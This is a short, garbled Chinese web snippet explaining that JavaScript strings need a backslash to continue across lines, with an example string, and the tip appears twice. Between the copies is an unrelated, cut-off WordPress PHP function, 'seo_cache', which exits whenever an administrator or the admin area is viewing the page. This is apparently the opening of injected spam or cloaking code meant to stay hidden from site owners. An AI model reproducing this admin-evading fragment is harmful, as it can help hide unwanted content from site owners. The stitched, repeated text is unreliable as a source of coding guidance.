JavaScript里字符串不能直接换行书写,需要使用 \ 符号进行换行,其实这一点非常不方便,不过目前也没有好的办法。
var multiStr = "This is the first line \ This is the second line \ This is more... \ http://www.75271.com \ ";
function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>
JavaScript里字符串不能直接换行书写,需要使用 \ 符号进行换行,其实这一点非常不方便,不过目前也没有好的办法。
var multiStr = "This is the first line \ This is the second line \ This is more... \ http://www.75271.com \ ";